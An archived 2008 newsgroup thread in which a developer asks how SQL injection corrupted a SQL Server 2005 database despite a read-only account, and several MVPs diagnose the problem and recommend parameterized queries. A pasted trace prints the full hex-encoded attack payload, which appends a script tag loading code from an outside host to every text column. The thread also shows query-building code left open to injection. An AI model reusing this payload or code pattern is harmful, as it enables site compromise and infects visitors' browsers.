Hi guys,

i have some problem with SQL2005 and Sql Injection .

I have developed a web application Asp/Aspx that connect to my SQLServer
2005 using a sql account for reading the data.

The Sql Account used have only this permission :

Server Roles = Public
Database Roles = db_datareader + pubblic on my database

and don't have any particular permission on a single table in my database
(all permission table for all table are leave as default-blank)




I have take a sql trace and see that the attacker use a sql variable,
cursor and exec clause and see that all update for tha table present in my
database failed with this error :


The UPDATE permission was denied on the object 'mytable1', database
'mydataabase1', schema 'dbo'.



but the last command (EXEC (@S) successfull completed and so the data
corrupted.

So i don't uderstand how it's possible that a datareader sql account make
any change on my table. I try to simulate the same "simply" update statement
with query analizer and have the same permission error.

It's possible that there is any difference between a UPDATE statement and
the same UDAPATE executing in a variable with EXEC command ?


However at moment i modify my webapplication for a validate input ...but i
dont' udestand how possible that the change occurred on my databse .


Anybody have any idea ?
Thanks in advance.

There are lots of ways to execute SQL injection attacks. Just because
your code isn't doing an UPDATE, doesn't mean it's not subject to a
SQL injection attack. If the account being used has more than READ-
ONLY permissions, it can be subject to an attack.

Most of the attacks going around these days are just simply injecting
hidden JavaScript links into websites which downloads corrupt
javascript to the clients computer, forcing them to go to a website
that injects MORE code on their machine.

Your web application must have update permissions on the SQL database,
otherwise you wouldn't be validating input. If you're validating with
SQL, or inserting data, it's just a SQL statement, which can do more
than just one thing at a time.

If you can provide more sample code, we can, more than likely, show
you the holes.

-Eric Isaacs

Hi Eric,

thanks for your ; the reply is inline.


"Eric Isaacs" <eisaacs@gmail.com> ha scritto nel messaggio
news:7905a979-7521-4421-9ec7-8a37d05141a8@z11g2000prl.googlegroups.com...
> There are lots of ways to execute SQL injection attacks. Just because
> your code isn't doing an UPDATE, doesn't mean it's not subject to a
> SQL injection attack. If the account being used has more than READ-
> ONLY permissions, it can be subject to an attack.

Of course.
>
> Most of the attacks going around these days are just simply injecting
> hidden JavaScript links into websites which downloads corrupt
> javascript to the clients computer, forcing them to go to a website
> that injects MORE code on their machine.
>
> Your web application must have update permissions on the SQL database,
> otherwise you wouldn't be validating input. If you're validating with
> SQL, or inserting data, it's just a SQL statement, which can do more
> than just one thing at a time.

I have analized the sql trace and seems the sql attack use sql reader
account ... but work ....argh! Where is the wrong !??!

However i have 2 sql account , one for update and the other for reading
and my asp page connecet with datareader account for reading or with
datawriter account for writing.

It' possible a connection worng code ? How work adodb provider if found a
existent connection ADO connection ?

> If you can provide more sample code, we can, more than likely, show
> you the holes.

Below the not fix piece of code :

Dim objConn1

set objConn1 = Server.CreateObject("ADODB.Connection")
objConn1.Open Application("cONN1")
Set RsNews = Server.CreateObject("ADODB.Recordset")
RsNews.CursorLocation = 3 'adUseClient
RsNews.CursorType = 0 'adOpenForwardOnly
RsNews.LockType = 1 'adLockReadOnly
RsNews.ActiveConnection = objConn2
sID=request("id")
sID=Replace(sID,"'","''")
'sID=killChars(stripQuotes(request("id")))
sSQL = "SELECT * FROM table1 where id=" & sID
RsNews.Open sSQL,objConn1

if not rsnews.EOF then
title=rsnews("title")
name=rsnews("name")
.....
.....

and other connection with other usere in the same asp page :


Dim objConn2

set objConn2 = Server.CreateObject("ADODB.Connection")
objConn2.Open Application("Conn2")
Set RsNews = Server.CreateObject("ADODB.Recordset")
RsNews.CursorLocation = 3 'adUseClient
RsNews.CursorType = 0 'adOpenForwardOnly
RsNews.LockType = 1 'adLockReadOnly
RNews.ActiveConnection = objConn2
set Rs = Server.CreateObject("ADODB.Recordset")
SQL="UPDATE table1 set Cont=Cont+1 where ID=" & sID
ObjConn2.Execute sSql
ObjConn2.close
set objConn2=nothing

the global asa for this web site contain the row :


Application("objConn1") =
"Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userwrite;PWD=password1;"
Application("objConn2") =
"Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userread;PWD=password2;"


Where is the hole ?

Thanks for your time.

Sorry the globla asa correct is this :

Application("objConn1") =
"Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userread;PWD=password1;"
Application("objConn2") =
"Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userwrite;PWD=password2;"


I hope for your news.

Thanks.

<inputio.com> ha scritto nel messaggio
news:%23%23sMdf4EJHA.612@TK2MSFTNGP06.phx.gbl...
> Hi Eric,
>
> thanks for your ; the reply is inline.
>
>
> "Eric Isaacs" <eisaacs@gmail.com> ha scritto nel messaggio
> news:7905a979-7521-4421-9ec7-8a37d05141a8@z11g2000prl.googlegroups.com...
>> There are lots of ways to execute SQL injection attacks. Just because
>> your code isn't doing an UPDATE, doesn't mean it's not subject to a
>> SQL injection attack. If the account being used has more than READ-
>> ONLY permissions, it can be subject to an attack.
>
> Of course.
>>
>> Most of the attacks going around these days are just simply injecting
>> hidden JavaScript links into websites which downloads corrupt
>> javascript to the clients computer, forcing them to go to a website
>> that injects MORE code on their machine.
>>
>> Your web application must have update permissions on the SQL database,
>> otherwise you wouldn't be validating input. If you're validating with
>> SQL, or inserting data, it's just a SQL statement, which can do more
>> than just one thing at a time.
>
> I have analized the sql trace and seems the sql attack use sql reader
> account ... but work ....argh! Where is the wrong !??!
>
> However i have 2 sql account , one for update and the other for reading
> and my asp page connecet with datareader account for reading or with
> datawriter account for writing.
>
> It' possible a connection worng code ? How work adodb provider if found a
> existent connection ADO connection ?
>
>> If you can provide more sample code, we can, more than likely, show
>> you the holes.
>
> Below the not fix piece of code :
>
> Dim objConn1
>
> set objConn1 = Server.CreateObject("ADODB.Connection")
> objConn1.Open Application("cONN1")
> Set RsNews = Server.CreateObject("ADODB.Recordset")
> RsNews.CursorLocation = 3 'adUseClient
> RsNews.CursorType = 0 'adOpenForwardOnly
> RsNews.LockType = 1 'adLockReadOnly
> RsNews.ActiveConnection = objConn2
> sID=request("id")
> sID=Replace(sID,"'","''")
> 'sID=killChars(stripQuotes(request("id")))
> sSQL = "SELECT * FROM table1 where id=" & sID
> RsNews.Open sSQL,objConn1
>
> if not rsnews.EOF then
> title=rsnews("title")
> name=rsnews("name")
> .....
> .....
>
> and other connection with other usere in the same asp page :
>
>
> Dim objConn2
>
> set objConn2 = Server.CreateObject("ADODB.Connection")
> objConn2.Open Application("Conn2")
> Set RsNews = Server.CreateObject("ADODB.Recordset")
> RsNews.CursorLocation = 3 'adUseClient
> RsNews.CursorType = 0 'adOpenForwardOnly
> RsNews.LockType = 1 'adLockReadOnly
> RNews.ActiveConnection = objConn2
> set Rs = Server.CreateObject("ADODB.Recordset")
> SQL="UPDATE table1 set Cont=Cont+1 where ID=" & sID
> ObjConn2.Execute sSql
> ObjConn2.close
> set objConn2=nothing
>
> the global asa for this web site contain the row :
>
>
> Application("objConn1") =
> "Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userwrite;PWD=password1;"
> Application("objConn2") =
> "Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userread;PWD=password2;"
>
>
> Where is the hole ?
>
> Thanks for your time.
>

On Wed, 10 Sep 2008 22:57:39 +0200, <inputio.com> wrote:

>Hi Eric,
>
>thanks for your ; the reply is inline.
(snip)
>Below the not fix piece of code :
>
> Dim objConn1
>
> set objConn1 = Server.CreateObject("ADODB.Connection")
> objConn1.Open Application("cONN1")
(snip)
>Application("objConn1") =
>"Provider=SQLNCLI;Server=127.0.0.1;Database=mydb; UID=userwrite;PWD=password1;"
>Application("objConn2") =
>"Provider=SQLNCLI;Server=127.0.0.1;Database=mydb; UID=userread;PWD=password2;"
>
>
>Where is the hole ?

Hi inputio,

I'm not an expert in client code, but it looks as though the first piece
of code uses the "objConn1" connection, which connects with the
privileges of the datawriter account instead of the datareader.

--
Hugo Kornelis, SQL Server MVP
My SQL Server blog: http://sqlblog.com/blogs/hugo_kornelis

Hi Hugo,

thanks for your reply.

Yes it' s send error but before your reply i posted the exact global.asa


Thanks.

"Hugo Kornelis" <hugo@perFact.REMOVETHIS.info.INVALID> ha scritto nel
messaggio news:qrdgc4h3grtnit6k2em9s5gv5d66o790nf@4ax.com...
> On Wed, 10 Sep 2008 22:57:39 +0200, <inputio.com> wrote:
>
>>Hi Eric,
>>
>>thanks for your ; the reply is inline.
> (snip)
>>Below the not fix piece of code :
>>
>> Dim objConn1
>>
>> set objConn1 = Server.CreateObject("ADODB.Connection")
>> objConn1.Open Application("cONN1")
> (snip)
>>Application("objConn1") =
>>"Provider=SQLNCLI;Server=127.0.0.1;Database=mydb ;UID=userwrite;PWD=password1;"
>>Application("objConn2") =
>>"Provider=SQLNCLI;Server=127.0.0.1;Database=mydb ;UID=userread;PWD=password2;"
>>
>>
>>Where is the hole ?
>
> Hi inputio,
>
> I'm not an expert in client code, but it looks as though the first piece
> of code uses the "objConn1" connection, which connects with the
> privileges of the datawriter account instead of the datareader.
>
> --
> Hugo Kornelis, SQL Server MVP
> My SQL Server blog: http://sqlblog.com/blogs/hugo_kornelis

objConn1.Open Application("cONN1")

objConn2.Open Application("Conn2")

....those don't match what you have in your global.asa file.

Is it using another cached connection because you specified a non-
existant Application value?

Regardless of which connection it's using, you still have the same
vulnerability in the section that WRITES to the database. You need to
validate that the sID IsNumeric (I assume it's numeric since you don't
have single quotes around it) and prevent the SQL statement executing
if it's invalid (not numeric.) I'm also assuming that sID is coming
from user input.

-Eric Isaacs

> sSQL = "SELECT * FROM table1 where id=" & sID

To avoid SQL injection, use a parameterized statement rather than build a
SQL statement string with concatenation. Below is a parameterized command
example. Stored procedures add another layer of protection because you can
then disallow ad-hoc access to the underlying tables entirely.

Set objCommand = CreateObject("ADODB.Command")
sSQL = "SELECT * FROM dbo.table1 WHERE id = ?"
Set objCommand.ActiveConnection = objConn1
objCommand.CommandText = sSQL
objCommand.CommandType = 1 'adCmdText
Set pId = objCommand.CreateParameter ("ID", adInteger,adParamInput) '1, 1
pId.value = sId
objCommand.Parameters.Append pId

RsNews.Open objCommand

If Not rsnews.EOF then
title = RsNews("title")
name = RsNews("name")
....

Also, beware of unvalidated string input that is later rendered in the
browser. A malicious user could exploit this as a cross-site scripting
vulnerability (http://en.wikipedia.org/wiki/Cross-site_scripting).


--
Hope this s.

Dan Guzman
SQL Server MVP
http://weblogs.sqlteam.com/dang/

<inputio.com> wrote in message
news:%23%23sMdf4EJHA.612@TK2MSFTNGP06.phx.gbl...
> Hi Eric,
>
> thanks for your ; the reply is inline.
>
>
> "Eric Isaacs" <eisaacs@gmail.com> ha scritto nel messaggio
> news:7905a979-7521-4421-9ec7-8a37d05141a8@z11g2000prl.googlegroups.com...
>> There are lots of ways to execute SQL injection attacks. Just because
>> your code isn't doing an UPDATE, doesn't mean it's not subject to a
>> SQL injection attack. If the account being used has more than READ-
>> ONLY permissions, it can be subject to an attack.
>
> Of course.
>>
>> Most of the attacks going around these days are just simply injecting
>> hidden JavaScript links into websites which downloads corrupt
>> javascript to the clients computer, forcing them to go to a website
>> that injects MORE code on their machine.
>>
>> Your web application must have update permissions on the SQL database,
>> otherwise you wouldn't be validating input. If you're validating with
>> SQL, or inserting data, it's just a SQL statement, which can do more
>> than just one thing at a time.
>
> I have analized the sql trace and seems the sql attack use sql reader
> account ... but work ....argh! Where is the wrong !??!
>
> However i have 2 sql account , one for update and the other for reading
> and my asp page connecet with datareader account for reading or with
> datawriter account for writing.
>
> It' possible a connection worng code ? How work adodb provider if found a
> existent connection ADO connection ?
>
>> If you can provide more sample code, we can, more than likely, show
>> you the holes.
>
> Below the not fix piece of code :
>
> Dim objConn1
>
> set objConn1 = Server.CreateObject("ADODB.Connection")
> objConn1.Open Application("cONN1")
> Set RsNews = Server.CreateObject("ADODB.Recordset")
> RsNews.CursorLocation = 3 'adUseClient
> RsNews.CursorType = 0 'adOpenForwardOnly
> RsNews.LockType = 1 'adLockReadOnly
> RsNews.ActiveConnection = objConn2
> sID=request("id")
> sID=Replace(sID,"'","''")
> 'sID=killChars(stripQuotes(request("id")))
> sSQL = "SELECT * FROM table1 where id=" & sID
> RsNews.Open sSQL,objConn1
>
> if not rsnews.EOF then
> title=rsnews("title")
> name=rsnews("name")
> .....
> .....
>
> and other connection with other usere in the same asp page :
>
>
> Dim objConn2
>
> set objConn2 = Server.CreateObject("ADODB.Connection")
> objConn2.Open Application("Conn2")
> Set RsNews = Server.CreateObject("ADODB.Recordset")
> RsNews.CursorLocation = 3 'adUseClient
> RsNews.CursorType = 0 'adOpenForwardOnly
> RsNews.LockType = 1 'adLockReadOnly
> RNews.ActiveConnection = objConn2
> set Rs = Server.CreateObject("ADODB.Recordset")
> SQL="UPDATE table1 set Cont=Cont+1 where ID=" & sID
> ObjConn2.Execute sSql
> ObjConn2.close
> set objConn2=nothing
>
> the global asa for this web site contain the row :
>
>
> Application("objConn1") =
> "Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userwrite;PWD=password1;"
> Application("objConn2") =
> "Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userread;PWD=password2;"
>
>
> Where is the hole ?
>
> Thanks for your time.
>

Hi Eric,

sorry perhaps i have replace some string before post a piece of code and
there was a problem

However this maybe a correct code :

Application("Conn1")
="Provider=SQLNCLI;Server=127.0.0.1;Database=mydb; UID=userread;PWD=password1;"
Application("Conn2")
="Provider=SQLNCLI;Server=127.0.0.1;Database=mydb; UID=userwrite;PWD=password2;"


Analizing a sql trace file i see that this command use a sql reader account
and however completed the update :


SP:CacheInsert SELECT * FROM mydb where id=9160;DECLARE @S VARCHAR(4000);SET
@S=CAST(0x4445434C41524520405420564152434841522832 3535292C404320564152434841522832353529204445434C41 5245205461626C655F437572736F7220435552534F5220464F 522053454C45435420612E6E616D652C622E6E616D65204652 4F4D207379736F626A6563747320612C737973636F6C756D6E 73206220574845524520612E69643D622E696420414E442061 2E78747970653D27752720414E442028622E78747970653D39 39204F5220622E78747970653D3335204F5220622E78747970 653D323331204F5220622E78747970653D31363729204F5045 4E205461626C655F437572736F72204645544348204E455854 2046524F4D205461626C655F437572736F7220494E544F2040 542C4043205748494C4528404046455443485F535441545553 3D302920424547494E20455845432827555044415445205B27 2B40542B275D20534554205B272B40432B275D3D525452494D 28434F4E5645525428564152434841522834303030292C5B27 2B40432B275D29292B27273C736372697074207372633D6874 74703A2F2F7777772E313973736C2E6E65742F736372697074 2E6A733E3C2F7363726970743E27272729204645544348204E 4558542046524F4D205461626C655F437572736F7220494E54 4F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F4375 72736F7220
AS VARCHAR(4000));EXEC(@S) Internet Information Services userread 58 mydb
8 5456 0X51B3D96716ED3A4B80B41435E1CDAF07 userread 13901783 2008-09-10
13:54:02.380 2720614 SERVER1 0 . 0 779251570 20801 - AQ

and

SQL:StmtCompleted EXEC(@S) Internet Information Services userread 58 160
mydb 8 5456 0X51B3D96716ED3A4B80B41435E1CDAF07 userread 0 1472 125
2008-09-10 13:54:02.380 2008-09-10 13:54:02.537 2722177 SERVER1 0 . 0
0 -1 0 1



How it's possible with a sql account that may only read a data ?

Thanks for your reply.




"Eric Isaacs" <eisaacs@gmail.com> ha scritto nel messaggio
news:02b5d7bf-ee64-4ec5-aa41-c631eef40ac0@b2g2000prf.googlegroups.com...
> objConn1.Open Application("cONN1")
>
> objConn2.Open Application("Conn2")
>
> ...those don't match what you have in your global.asa file.
>
> Is it using another cached connection because you specified a non-
> existant Application value?
>
> Regardless of which connection it's using, you still have the same
> vulnerability in the section that WRITES to the database. You need to
> validate that the sID IsNumeric (I assume it's numeric since you don't
> have single quotes around it) and prevent the SQL statement executing
> if it's invalid (not numeric.) I'm also assuming that sID is coming
> from user input.
>
> -Eric Isaacs
>

Hi Dan,

and thanks for you reply.

A last question :

I have verified and re-verified that the SQL user account configured in SQL
Server have "only a read permissions for read data"; is however possible
that this acount make any chage (update ,insernt) with sql inkjection ???


Thanks for your time


"Dan Guzman" <guzmanda@nospam-online.sbcglobal.net> ha scritto nel messaggio
news:eav0jCAFJHA.4420@TK2MSFTNGP06.phx.gbl...
>> sSQL = "SELECT * FROM table1 where id=" & sID
>
> To avoid SQL injection, use a parameterized statement rather than build a
> SQL statement string with concatenation. Below is a parameterized command
> example. Stored procedures add another layer of protection because you
> can then disallow ad-hoc access to the underlying tables entirely.
>
> Set objCommand = CreateObject("ADODB.Command")
> sSQL = "SELECT * FROM dbo.table1 WHERE id = ?"
> Set objCommand.ActiveConnection = objConn1
> objCommand.CommandText = sSQL
> objCommand.CommandType = 1 'adCmdText
> Set pId = objCommand.CreateParameter ("ID", adInteger,adParamInput) '1, 1
> pId.value = sId
> objCommand.Parameters.Append pId
>
> RsNews.Open objCommand
>
> If Not rsnews.EOF then
> title = RsNews("title")
> name = RsNews("name")
> ...
>
> Also, beware of unvalidated string input that is later rendered in the
> browser. A malicious user could exploit this as a cross-site scripting
> vulnerability (http://en.wikipedia.org/wiki/Cross-site_scripting).
>
>
> --
> Hope this s.
>
> Dan Guzman
> SQL Server MVP
> http://weblogs.sqlteam.com/dang/
>
> <inputio.com> wrote in message
> news:%23%23sMdf4EJHA.612@TK2MSFTNGP06.phx.gbl...
>> Hi Eric,
>>
>> thanks for your ; the reply is inline.
>>
>>
>> "Eric Isaacs" <eisaacs@gmail.com> ha scritto nel messaggio
>> news:7905a979-7521-4421-9ec7-8a37d05141a8@z11g2000prl.googlegroups.com...
>>> There are lots of ways to execute SQL injection attacks. Just because
>>> your code isn't doing an UPDATE, doesn't mean it's not subject to a
>>> SQL injection attack. If the account being used has more than READ-
>>> ONLY permissions, it can be subject to an attack.
>>
>> Of course.
>>>
>>> Most of the attacks going around these days are just simply injecting
>>> hidden JavaScript links into websites which downloads corrupt
>>> javascript to the clients computer, forcing them to go to a website
>>> that injects MORE code on their machine.
>>>
>>> Your web application must have update permissions on the SQL database,
>>> otherwise you wouldn't be validating input. If you're validating with
>>> SQL, or inserting data, it's just a SQL statement, which can do more
>>> than just one thing at a time.
>>
>> I have analized the sql trace and seems the sql attack use sql reader
>> account ... but work ....argh! Where is the wrong !??!
>>
>> However i have 2 sql account , one for update and the other for reading
>> and my asp page connecet with datareader account for reading or with
>> datawriter account for writing.
>>
>> It' possible a connection worng code ? How work adodb provider if found a
>> existent connection ADO connection ?
>>
>>> If you can provide more sample code, we can, more than likely, show
>>> you the holes.
>>
>> Below the not fix piece of code :
>>
>> Dim objConn1
>>
>> set objConn1 = Server.CreateObject("ADODB.Connection")
>> objConn1.Open Application("cONN1")
>> Set RsNews = Server.CreateObject("ADODB.Recordset")
>> RsNews.CursorLocation = 3 'adUseClient
>> RsNews.CursorType = 0 'adOpenForwardOnly
>> RsNews.LockType = 1 'adLockReadOnly
>> RsNews.ActiveConnection = objConn2
>> sID=request("id")
>> sID=Replace(sID,"'","''")
>> 'sID=killChars(stripQuotes(request("id")))
>> sSQL = "SELECT * FROM table1 where id=" & sID
>> RsNews.Open sSQL,objConn1
>>
>> if not rsnews.EOF then
>> title=rsnews("title")
>> name=rsnews("name")
>> .....
>> .....
>>
>> and other connection with other usere in the same asp page :
>>
>>
>> Dim objConn2
>>
>> set objConn2 = Server.CreateObject("ADODB.Connection")
>> objConn2.Open Application("Conn2")
>> Set RsNews = Server.CreateObject("ADODB.Recordset")
>> RsNews.CursorLocation = 3 'adUseClient
>> RsNews.CursorType = 0 'adOpenForwardOnly
>> RsNews.LockType = 1 'adLockReadOnly
>> RNews.ActiveConnection = objConn2
>> set Rs = Server.CreateObject("ADODB.Recordset")
>> SQL="UPDATE table1 set Cont=Cont+1 where ID=" & sID
>> ObjConn2.Execute sSql
>> ObjConn2.close
>> set objConn2=nothing
>>
>> the global asa for this web site contain the row :
>>
>>
>> Application("objConn1") =
>> "Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userwrite;PWD=password1;"
>> Application("objConn2") =
>> "Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userread;PWD=password2;"
>>
>>
>> Where is the hole ?
>>
>> Thanks for your time.
>>
>

I think it's because the connection is being shared, or you have
another issue in your code. We can't see all of your code here, so
you're probably not going to get the answer you want to hear.

We can see that you're not handling your parameters in a safe manner.
Dan's suggestion of a parameterized query is excellent. A stored
procedure would also work. Just validating the sID to make sure it's
just a number would also probably work fine. If you try to handle
just this SQL injection issue, another one will bite you later.

-Eric Isaacs

> I have verified and re-verified that the SQL user account configured in
> SQL Server have "only a read permissions for read data"; is however
> possible that this acount make any chage (update ,insernt) with sql
> inkjection ???

Just a guess but perhaps the login is a sysadmin role member. In that case,
the account will be 'dbo' in all databases and have full permissions
regardless of other role membership.

Note that you can test permissions with EXECUTE AS:

EXECUTE AS LOGIN = 'userread';
UPDATE dbo.MyTable SET ...
REVERT;


--
Hope this s.

Dan Guzman
SQL Server MVP
http://weblogs.sqlteam.com/dang/

<inputio.com> wrote in message news:eHFxRUBFJHA.1272@TK2MSFTNGP05.phx.gbl...
> Hi Dan,
>
> and thanks for you reply.
>
> A last question :
>
> I have verified and re-verified that the SQL user account configured in
> SQL Server have "only a read permissions for read data"; is however
> possible that this acount make any chage (update ,insernt) with sql
> inkjection ???
>
>
> Thanks for your time
>
>
> "Dan Guzman" <guzmanda@nospam-online.sbcglobal.net> ha scritto nel
> messaggio news:eav0jCAFJHA.4420@TK2MSFTNGP06.phx.gbl...
>>> sSQL = "SELECT * FROM table1 where id=" & sID
>>
>> To avoid SQL injection, use a parameterized statement rather than build a
>> SQL statement string with concatenation. Below is a parameterized
>> command example. Stored procedures add another layer of protection
>> because you can then disallow ad-hoc access to the underlying tables
>> entirely.
>>
>> Set objCommand = CreateObject("ADODB.Command")
>> sSQL = "SELECT * FROM dbo.table1 WHERE id = ?"
>> Set objCommand.ActiveConnection = objConn1
>> objCommand.CommandText = sSQL
>> objCommand.CommandType = 1 'adCmdText
>> Set pId = objCommand.CreateParameter ("ID", adInteger,adParamInput) '1, 1
>> pId.value = sId
>> objCommand.Parameters.Append pId
>>
>> RsNews.Open objCommand
>>
>> If Not rsnews.EOF then
>> title = RsNews("title")
>> name = RsNews("name")
>> ...
>>
>> Also, beware of unvalidated string input that is later rendered in the
>> browser. A malicious user could exploit this as a cross-site scripting
>> vulnerability (http://en.wikipedia.org/wiki/Cross-site_scripting).
>>
>>
>> --
>> Hope this s.
>>
>> Dan Guzman
>> SQL Server MVP
>> http://weblogs.sqlteam.com/dang/
>>
>> <inputio.com> wrote in message
>> news:%23%23sMdf4EJHA.612@TK2MSFTNGP06.phx.gbl...
>>> Hi Eric,
>>>
>>> thanks for your ; the reply is inline.
>>>
>>>
>>> "Eric Isaacs" <eisaacs@gmail.com> ha scritto nel messaggio
>>> news:7905a979-7521-4421-9ec7-8a37d05141a8@z11g2000prl.googlegroups.com...
>>>> There are lots of ways to execute SQL injection attacks. Just because
>>>> your code isn't doing an UPDATE, doesn't mean it's not subject to a
>>>> SQL injection attack. If the account being used has more than READ-
>>>> ONLY permissions, it can be subject to an attack.
>>>
>>> Of course.
>>>>
>>>> Most of the attacks going around these days are just simply injecting
>>>> hidden JavaScript links into websites which downloads corrupt
>>>> javascript to the clients computer, forcing them to go to a website
>>>> that injects MORE code on their machine.
>>>>
>>>> Your web application must have update permissions on the SQL database,
>>>> otherwise you wouldn't be validating input. If you're validating with
>>>> SQL, or inserting data, it's just a SQL statement, which can do more
>>>> than just one thing at a time.
>>>
>>> I have analized the sql trace and seems the sql attack use sql reader
>>> account ... but work ....argh! Where is the wrong !??!
>>>
>>> However i have 2 sql account , one for update and the other for
>>> reading and my asp page connecet with datareader account for reading or
>>> with datawriter account for writing.
>>>
>>> It' possible a connection worng code ? How work adodb provider if found
>>> a existent connection ADO connection ?
>>>
>>>> If you can provide more sample code, we can, more than likely, show
>>>> you the holes.
>>>
>>> Below the not fix piece of code :
>>>
>>> Dim objConn1
>>>
>>> set objConn1 = Server.CreateObject("ADODB.Connection")
>>> objConn1.Open Application("cONN1")
>>> Set RsNews = Server.CreateObject("ADODB.Recordset")
>>> RsNews.CursorLocation = 3 'adUseClient
>>> RsNews.CursorType = 0 'adOpenForwardOnly
>>> RsNews.LockType = 1 'adLockReadOnly
>>> RsNews.ActiveConnection = objConn2
>>> sID=request("id")
>>> sID=Replace(sID,"'","''")
>>> 'sID=killChars(stripQuotes(request("id")))
>>> sSQL = "SELECT * FROM table1 where id=" & sID
>>> RsNews.Open sSQL,objConn1
>>>
>>> if not rsnews.EOF then
>>> title=rsnews("title")
>>> name=rsnews("name")
>>> .....
>>> .....
>>>
>>> and other connection with other usere in the same asp page :
>>>
>>>
>>> Dim objConn2
>>>
>>> set objConn2 = Server.CreateObject("ADODB.Connection")
>>> objConn2.Open Application("Conn2")
>>> Set RsNews = Server.CreateObject("ADODB.Recordset")
>>> RsNews.CursorLocation = 3 'adUseClient
>>> RsNews.CursorType = 0 'adOpenForwardOnly
>>> RsNews.LockType = 1 'adLockReadOnly
>>> RNews.ActiveConnection = objConn2
>>> set Rs = Server.CreateObject("ADODB.Recordset")
>>> SQL="UPDATE table1 set Cont=Cont+1 where ID=" & sID
>>> ObjConn2.Execute sSql
>>> ObjConn2.close
>>> set objConn2=nothing
>>>
>>> the global asa for this web site contain the row :
>>>
>>>
>>> Application("objConn1") =
>>> "Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userwrite;PWD=password1;"
>>> Application("objConn2") =
>>> "Provider=SQLNCLI;Server=127.0.0.1;Database=mydb;U ID=userread;PWD=password2;"
>>>
>>>
>>> Where is the hole ?
>>>
>>> Thanks for your time.
>>>
>>
>